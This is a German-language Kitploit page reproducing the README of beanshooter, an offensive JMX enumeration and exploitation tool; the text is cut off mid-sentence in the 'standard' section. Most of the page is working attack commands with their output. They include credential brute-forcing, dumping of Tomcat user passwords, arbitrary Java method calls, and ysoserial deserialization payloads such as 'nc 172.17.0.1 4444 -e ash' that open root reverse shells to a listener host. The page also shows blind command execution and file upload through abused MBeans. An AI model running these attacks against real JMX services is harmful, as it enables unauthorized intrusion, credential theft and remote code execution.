Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
beanshooter — JMX-Enumeration und Angriffswerkzeug. | Kitploit
Tools/GitHubGitHub/qtc-de/beanshooter
SchwachstellenanalyseExploitationPenetrationstests
GitHubqtc-de/beanshooter

beanshooter

JMX-Enumeration und Angriffswerkzeug.

Repository anzeigen
50955vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

beanshooter


beanshooter ist ein JMX-Erkennungs- und Angriffswerkzeug, das hilft, häufige Schwachstellen auf JMX-Endpunkten zu identifizieren.

https://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4

Installation


beanshooter ist ein Maven-Projekt und die Installation sollte unkompliziert sein. Mit installiertem Maven genügen die folgenden Befehle, um eine ausführbare .jar-Datei zu erstellen:```console [qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter [qtc@devbox ~]$ cd beanshooter [qtc@devbox ~]$ mvn package

root@kitploit:~
Sie können auch vorgefertigte Pakete verwenden, die für [jede Veröffentlichung](https://github.com/qtc-de/beanshooter/releases) erstellt werden.
Vorgefertigte Pakete für den Entwicklungszweig werden automatisch erstellt und sind auf der *GitHub*
[Actions-Seite](https://github.com/qtc-de/beanshooter/actions) zu finden. Außerdem ist ein vorgefertigtes Docker-Image für die Ausführung von *beanshooter*
[verfügbar](#docker-image).

*beanshooter* enthält *ysoserial* nicht als Abhängigkeit. Um *ysoserial*-Unterstützung zu aktivieren, müssen Sie entweder den Pfad
zu Ihrer ``ysoserial.jar``-Datei als zusätzliches Argument angeben (z.B. ``--yso /opt/ysoserial.jar``) oder Sie ändern den
Standardpfad in der [beanshooter-Konfigurationsdatei](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) vor dem Bau des Projekts.

*beanshooter* unterstützt die automatische Vervollständigung für *bash*. Um die automatische Vervollständigung zu nutzen, müssen Sie das
[completion-helpers](https://github.com/qtc-de/completion-helpers)-Projekt installiert haben. Bei korrekter Einrichtung genügt es, das
[Vervollständigungsskript](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) in Ihren ``~/.bash_completion.d``-Ordner zu kopieren, um die
automatische Vervollständigung zu aktivieren.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/

Inhaltsverzeichnis


  • Unterstützte Operationen
    • Grundlegende Operationen
      • attr
      • brute
      • deploy
      • enum
      • info
      • invoke
      • jolokia
      • list
      • model
      • serial
      • stager
      • standard
      • undeploy
    • MBean-Operationen
      • generic
        • attr
        • info
        • invoke
        • stats
        • status
        • export
        • deploy
        • undeploy
      • diagnostic
        • read
        • load
        • logfile
        • nolog
        • cmdline
        • props
      • hotspot
        • dump
        • list
        • get
        • set
      • mlet
        • load
      • recorder
        • new
        • start
        • stop
        • read
        • dump
      • tomcat
        • dump
        • list
        • write

Unterstützte Operationen


Die verschiedenen beanshooter-Operationen lassen sich in zwei Gruppen unterteilen: grundlegende Operationen und MBean-Operationen. Während grundlegende Operationen dazu dienen, allgemeine Operationen an einem JMX-Endpunkt durchzuführen, zielen MBean-Operationen auf ein bestimmtes MBean ab, um damit zu interagieren. Weitere Details finden Sie in den Nutzungsbeispielen in den folgenden Abschnitten.```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...

beanshooter v3.0.0 - a JMX enumeration and attacking tool

positional arguments:

Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server

MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files

named arguments: -h, --help show this help message and exit

root@kitploit:~
### Grundlegende Operationen

---

Grundlegende Operationen sind allgemeine Operationen, die auf einem JMX-Dienst ausgeführt werden können. In der Regel handelt es sich um Operationen, die nicht auf einen bestimmten MBean abzielen oder die auf einen MBean abzielen, der keine integrierte Unterstützung durch beanshooter besitzt.

#### Attr

Die Aktion `attr` kann verwendet werden, um Attribute auf einem angegebenen *MBean* abzurufen oder zu setzen. Um verfügbare Attribute zu erhalten, sollte die Aktion `info` verwendet werden:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+]     Attributes:
[+]         Verbose (type: boolean , writable: true)
[+]         ObjectPendingFinalizationCount (type: int , writable: false)
[+]         HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+]     Operations:
[+]         void gc()

Wenn nur der Attributname angegeben ist, ermittelt und zeigt beanshooter den aktuellen Attributwert an:```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false

root@kitploit:~
Wenn ein zusätzlicher Wert angegeben wird, versucht *beanshooter*, das entsprechende Attribut zu setzen. Für Attribute, die einen anderen Typ als *String* haben, ist die Angabe des Attributtyps mit der Option `--type` erforderlich:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true

Brute

Die brute-Aktion führt einen Brute-Force-Angriff auf einen passwortgeschützten JMX-Dienst durch. Wenn sie ohne zusätzliche optionale Argumente ausgeführt wird, verwendet beanshooter eine eingebaute Wortliste mit einigen gängigen Benutzername-Passwort-Kombinationen. Für gezieltere Angriffe sollten Sie die Optionen --username-file und --password-file verwenden, um umfassendere Wortlisten anzugeben.```console [qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090 [+] Reading wordlists for the brute action. [+] Reading credentials from internal wordlist. [+] [+] Starting bruteforce attack with 10 credentials. [+] [+] Found valid credentials: admin:admin [+] [10 / 10] [########################################] 100% [+] [+] done.

root@kitploit:~
#### Bereitstellen

Die Aktion `deploy` kann verwendet werden, um ein *MBean* auf einem *JMX*-Dienst bereitzustellen. Diese Aktion **sollte nicht** verwendet werden, um *MBeans* mit standardmäßiger Unterstützung wie z.B. dem *TonkaBean* bereitzustellen. Das Bereitstellen von *MBeans* mit standardmäßiger Unterstützung sollte über die entsprechenden [MBean-Operationen](#mbean-operations) erfolgen.

Wenn das *MBean*, das Sie bereitstellen möchten, dem *JMX*-Dienst bereits bekannt ist, reicht es aus, den Klassennamen der implementierenden *MBean*-Klasse und den gewünschten `ObjectName` anzugeben:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: StringMonitor
[+] 	MBean with object name qtc.test:type=Monitor was successfully deployed.

Wenn die MBean-Klasse dem JMX-Dienst nicht bekannt ist, können Sie die Optionen --jar-file und --stager-url verwenden, um eine Implementierung bereitzustellen:```console [qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000 [+] Starting MBean deployment. [+] [+] Deplyoing MBean: ExampleBean [+] [+] MBean class is not known to the server. [+] Starting MBean deployment. [+] [+] Deplyoing MBean: MLet [+] MBean with object name DefaultDomain:type=MLet was successfully deployed. [+] [+] Loading MBean from http://172.17.0.1:8000 [+] [+] Creating HTTP server on: 172.17.0.1:8000 [+] Creating MLetHandler for endpoint: / [+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Starting HTTP server... [+] [+] Incoming request from: iinsecure.example [+] Requested resource: / [+] Sending mlet: [+] [+] Class: non.existing.example.ExampleBean [+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Object: qtc.test:type=Example [+] Codebase: http://172.17.0.1:8000 [+] [+] Incoming request from: iinsecure.example [+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484 [+] [+] MBean with object name qtc.test:type=Example was successfully deployed.

root@kitploit:~
#### Enum

Die Aktion `enum` zählt einige Konfigurationsdetails an einem *JMX*-Endpunkt auf. Sie prüft immer, ob der *JMX*-Endpunkt eine Authentifizierung erfordert und ob er eine vorauthentifizierte beliebige Deserialisierung erlaubt.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] 	- Remote MBean server requires authentication.
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- Remote MBeanServer accepted the payload class.
[+] 	  Configuration Status: Non Default

Wenn keine Authentifizierung erforderlich ist oder gültige Anmeldedaten angegeben wurden, versucht die Aktion enum auch, einige weitere Informationen vom JMX-Endpunkt zu sammeln. Dazu gehören eine Liste der nicht standardmäßigen MBeans und z.B. die auf einem Apache Tomcat-Server registrierten Benutzerkonten.```console [qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090 [+] Checking for unauthorized access: [+] [+] - Remote MBean server does not require authentication. [+] Vulnerability Status: Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [+] - Remote MBeanServer rejected the payload class. [+] Vulnerability Status: Non Vulnerable [+] [+] Checking available MBeans: [+] [+] - 57 MBeans are currently registred on the MBean server. [+] Listing 39 non default MBeans: [+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve) [+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080") [...] [+] [+] Enumerating tomcat users: [+] [+] - Listing 3 tomcat users: [+] [+] ---------------------------------------- [+] Username: manager [+] Password: P@55w0rD# [+] Roles: [+] Users:type=Role,rolename="manager-gui",database=UserDatabase [+] Users:type=Role,rolename="manager-script",database=UserDatabase [+] Users:type=Role,rolename="manager-jmx",database=UserDatabase [+] Users:type=Role,rolename="manager-status",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: admin [+] Password: s3cr3T!$ [+] Roles: [+] Users:type=Role,rolename="admin-gui",database=UserDatabase [+] Users:type=Role,rolename="admin-script",database=UserDatabase [...]

root@kitploit:~
Wenn die `enum`-Aktion auf einem *SASL*-geschützten Endpunkt aufgerufen wird, versucht *beanshooter*, das für den Server konfigurierte *SASL*-Profil aufzulisten. Dies ist nur in einem bestimmten Umfang möglich und die *TLS*-Konfiguration des Servers kann nicht aufgelistet werden. Wenn das von *beanshooter* identifizierte *SASL*-Profil nicht funktioniert, sollten Sie es immer mit/ohne die Option `--ssl` erneut versuchen:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] 	  Credentials are requried and the following hostname must be used: iinsecure.example
[+] 	  Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] 	  Vulnerability Status: Non Vulnerable
...

Info

Die info-Aktion kann verwendet werden, um Methoden- und Attributinformationen von MBeans zu erhalten, die auf dem MBean-Server verfügbar sind. Wenn sie ohne zusätzliche Argumente aufgerufen wird, werden die Methoden- und Attributinformationen aller verfügbaren MBeans ausgegeben. Wenn ein zusätzlicher ObjectName angegeben wird, werden nur die Methoden- und Attributinformationen des angegebenen MBean ausgegeben:```console [qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory [+] MBean Class: sun.management.MemoryImpl [+] ObjectName: java.lang:type=Memory [+] [+] Attributes: [+] Verbose (type: boolean , writable: true) [+] ObjectPendingFinalizationCount (type: int , writable: false) [+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false) [+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false) [+] ObjectName (type: javax.management.ObjectName , writable: false) [+] [+] Operations: [+] void gc()

root@kitploit:~
#### Aufrufen

Die `invoke`-Aktion kann verwendet werden, um eine beliebige Methode auf einem *MBean* aufzurufen, das bereits auf einem *JMX*-Endpunkt bereitgestellt wurde.
Neben dem Endpunkt erfordert die `invoke`-Aktion den `ObjectName` des anvisierten *MBean* und die Methodensignatur, die Sie aufrufen möchten.
Wenn die angegebene Methode Argumente erwartet, müssen auch diese angegeben werden. Das folgende Listing zeigt ein Beispiel,
eines argumentlosen Methodenaufrufs, bei dem die Methode `vmVersion()` des *MBean* `DiagnosticCommand` aufgerufen wird:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1

Beim Aufruf einer Methode, die Parameter erfordert, werden die angegebenen beanshooter-Argumente als Java-Code ausgewertet. Einfache Argumenttypen wie Ganzzahlen oder Zeichenfolgen können einfach durch Angabe ihres entsprechenden Werts übergeben werden. Komplexe Argumenttypen können konstruiert werden, wie man es in Java tun würde (z.B. 'new java.util.HashMap()'). Das folgende Listing zeigt ein Beispiel, bei dem die Methode help(String[] args) auf dem MBean DiagnosticCommand aufgerufen wird:```console [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }' Compiler.directives_add Add compiler directives from file.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Syntax : Compiler.directives_add

Arguments: filename : Name of the directives file (STRING, no default value)

root@kitploit:~
Für komplexere Argumenttypen, die eine Initialisierung erfordern, können Sie das *beanshooters PluginSystem* verwenden und eine benutzerdefinierte Klasse definieren, die die [IArgumentProvider-Schnittstelle](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java) implementiert.


#### Jolokia

Wie in der *beanshooters* [Jolokia-Dokumentation](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) beschrieben, können fast alle *beanshooter*-Aktionen zusammen mit dem `--jolokia`-Schalter verwendet werden, um auf *Jolokia*-basierte *JMX*-Endpunkte abzuzielen. Neben dieser generischen Unterstützung für den *Jolokia JMX*-Adapter unterstützt *beanshooter* eine dedizierte `jolokia`-Aktion. Diese Aktion kann verwendet werden, um eine ausgehende Verbindung eines *Jolokia*-Agents mit aktiviertem Proxy-Modus zu erzwingen:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0

Das gleiche Ergebnis könnte durch die Ausführung einer regulären beanshooter-Operation wie list und die Verwendung der --jolokia-proxy service:jmx:...-Option erzielt werden. Die jolokia-Aktion wurde als Abkürzung hinzugefügt, damit Sie sich die JNDI-Syntax nicht merken müssen. Bei Verwendung der jolokia-Aktion wird standardmäßig die --jolokia-Option angenommen.

List

Die list-Aktion gibt eine Liste aller registrierten MBeans auf dem entfernten JMX-Dienst aus:```console [qtc@devbox ~]$ beanshooter list 172.17.0.2 9010 [+] Available MBeans: [+] [+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager) [+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool) [+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate) [...]

root@kitploit:~
#### Model

Die `model`-Aktion ist eine der leistungsstärksten *beanshooter*-Operationen und implementiert eine Technik,
die von [Markus Wulftange](https://twitter.com/mwulftange) identifiziert wurde. Sie ermöglicht es, beliebige
*public* und *static* Java-Methoden aufzurufen. Darüber hinaus können auch *public* Objektmethoden auf einer
benutzerdefinierten Objektinstanz aufgerufen werden. Die einzige Voraussetzung ist, dass die verwendeten
Methodenargumente und die bereitgestellte Objektinstanz (für *non static* Methoden) serialisierbar sind.

Das folgende Listing zeigt eine Beispielnutzung, bei der ein `File`-Objekt als Objektinstanz bereitgestellt wird
und die Operation `String[] list()` darauf aufgerufen wird:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - [Ljava.lang.String; list()
[...]
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: new java.io.File("/")
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv

Die Methode setManagedResource ist immer verfügbar und kann verwendet werden, um die Objektinstanz zu ändern, auf die operiert werden soll:```console [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference [+] Call was successful. [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' passwd shells opt modules mtab issue inittab hosts ...

root@kitploit:~
Beim Aufrufen *statischer* Methoden ist ebenfalls eine Objektinstanz erforderlich. Die tatsächliche Klasse der Objektinstanz spielt jedoch keine Rolle. Z.B. wenn Sie `getProperties()` von `java.lang.System` aufrufen möchten, könnten Sie auch einen einfachen `String` als Objektinstanz verwenden. In diesem Fall kommt es nur auf den angegebenen Klassennamen an:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - void runFinalization()
[+] 	  - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] 	  - long currentTimeMillis()
[+] 	  - long nanoTime()
[+] 	  - java.lang.SecurityManager getSecurityManager()
[+] 	  - void loadLibrary(java.lang.String)
[+] 	  - java.lang.String mapLibraryName(java.lang.String)
[+] 	  - void load(java.lang.String)
[+] 	  - java.lang.String lineSeparator()
[+] 	  - java.io.Console console()
[+] 	  - java.nio.channels.Channel inheritedChannel()
[+] 	  - java.util.Properties getProperties()
[+] 	  - void setProperties(java.util.Properties)
[+] 	  - java.lang.String clearProperty(java.lang.String)
[+] 	  - java.util.Map getenv()
[+] 	  - java.lang.String getenv(java.lang.String)
[+] 	  - void gc()
[+] 	  - void wait()
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - java.lang.Class getClass()
[+] 	  - void notify()
[+] 	  - void notifyAll()
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: "does not matter"
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
  --> mixed mode
java.runtime.version
  --> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
  --> UnicodeLittle
...

Die model-Aktion verwendet Reflection, um verfügbare Methoden in der angegebenen Klasse zu bestimmen. Falls die Klasse nicht lokal verfügbar ist, können Sie sie dennoch verwenden, indem Sie die verfügbaren Methoden über die Optionen --signature oder --signature-file angeben. Nichtsdestotrotz müssen Sie, um Zugriff auf nicht standardmäßige Klassen zu erhalten, eine Objektinstanz bereitstellen, die ebenfalls keine Standardklasse ist (nicht in rt.jar vorhanden). Dies ist erforderlich, da die Zielklasse vom selben ClassLoader geladen werden muss wie die bereitgestellte Objektinstanz. Für den beanshooters example-server eignet sich javax.management.remote.message.VersionMessage, da diese Klasse in opendmk_jmxremote_optional_jar vorhanden ist, das sowohl im Client als auch im Server verfügbar ist. Wir können dies als Objektinstanz verwenden, um Methoden auf anderen benutzerdefinierten Klassen aufzurufen, wie z. B. de.qtc.beanshooter.server.utils.Logger:```console [qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()' [+] Deploying RequiredModelMBean supporting user specified methods [+] [+] Deplyoing MBean: RequiredModelMBean [+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed. [+] [+] Available Methods: [+] - String getIndent() [+] - void setManagedResource(java.lang.Object, java.lang.String) [+] [+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test") [+] Managed resource was set successfully. [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()' EMPTY OUTPUT - Just an Indent ;)

root@kitploit:~
Wenn Sie mehr über die Technik erfahren möchten, die von der Aktion `model` implementiert wird, empfehle ich wärmstens diesen [Blogbeitrag](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) von [CODE WHITE](https://twitter.com/codewhitesec), der sie ausführlich erklärt.


#### Serial

Die Aktion `serial` kann verwendet werden, um Deserialisierungsangriffe auf einen *JMX*-Endpunkt durchzuführen. Standardmäßig versucht die Aktion, post-authentifizierte Deserialisierungsangriffe durchzuführen. Damit dies funktioniert, muss der von Ihnen anvisierte *JMX*-Dienst entweder unauthentifizierten Zugriff erlauben oder Sie benötigen gültige Anmeldedaten:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] 	Creating ysoserial payload... done.
[+] 	MBeanServer attempted to deserialize the DeserializationCanary class.
[+] 	Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)

JMX Dienste können ebenfalls anfällig für vorauthentifizierte Deserialisierungsangriffe sein. Um dies auszunutzen, können Sie den --preauth Schalter verwenden:```console [qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth [+] Attemting deserialization attack on JMX endpoint. [+] [+] Creating ysoserial payload... done. [+] MBeanServer attempted to deserialize the DeserializationCanary class. [+] Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
Gegen *JMXMP*-Endpunkte ist eine vorauthentifizierte Deserialisierung normalerweise möglich. Leider gibt es keine Möglichkeit, dies während der `enum`-Aktion ordnungsgemäß zu enumerieren.
Wenn Sie auf einen *JMXMP*-Endpunkt stoßen, sollten Sie es einfach versuchen.

#### Stager

Die `stager`-Aktion startet einen Stager-Server, der zur Bereitstellung von *MBeans* verwendet werden kann. Die Erstellung eines Stager-Servers
für die *MBean*-Bereitstellung erfolgt normalerweise automatisch bei Verwendung der `deploy`-Aktion von *beanshooters*. Manchmal ist jedoch
die Verwendung eines eigenständigen Servers erforderlich. Bei Verwendung der `stager`-Aktion können Sie entweder den Namen eines integrierten
*MBeans* angeben, das bereitgestellt werden soll (z.B. `tonka`), oder das Schlüsselwort `custom`. Wenn `custom` angegeben wurde,
sind die Optionen `--class-name`, `--object-name` und `--jar-file` erforderlich.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+] 
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   93691b8bae4143f087f7a3123641b20d
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a

Standard

Die Aktion standard stellt einen StandardMBean bereit, der die Klasse TemplateImpl implementiert, um verschiedene Ziele zu erreichen. Diese Technik wurde von Markus Wulftange entdeckt und beanshooter implementiert sie, um die Ausführung von Befehlen, das Hochladen von Dateien und die Bereitstellung von TonkaBean zu ermöglichen.```console [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash' [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer. [+] MBean was successfully removed. ... [qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:40033. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
Die Befehlsausführung über die `standard`-Aktion erfolgt blind und Sie erhalten keine Ausgabe Ihres Befehls.
Darüber hinaus wird Ihr Befehl standardmäßig an `Runtime.exec(String str)` übergeben, das keine speziellen
Shell-Funktionen unterstützt. Wenn Sie Shell-Funktionen nutzen möchten, verwenden Sie die Option `--exec-array` und geben Sie Ihren Befehl
wie folgt an: `'sh -c echo "my cool command" > /tmp/test.txt'`. Mit `--exec-array` teilt *beanshooter* den
angegebenen Befehl in drei Teile und übergibt sie an `Runtime.exec(String[] arr)`. Es wird jedoch generell
empfohlen, die *TonkaBean*-Bereitstellung zur Ausführung von Befehlen zu verwenden:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] 	Deplyoing MBean: StandardMBean
[+] 	MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] 	Caught NullPointerException while invoking the newTransformer action.
[+] 	This is expected bahavior and the attack most likely worked :)
[+]
[+] 	Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] 	MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)

Der große Vorteil gegenüber der regulären tonka deploy-Aktion ist, dass die Bereitstellung über den StandardMBean keine ausgehende Netzwerkverbindung erfordert. Falls eine direkte Bereitstellung über standard ... tonka nicht funktioniert, können Sie möglicherweise die TonkaBean-Jar-Datei hochladen und sie über MLet und das file://-Protokoll laden:```console [qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/ [+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar [+] Exporting MLet HTML file to: ./index.html [+] Class: de.qtc.beanshooter.tonkabean.TonkaBean [+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: file:/tmp/ [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer. [+] MBean was successfully removed. [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name 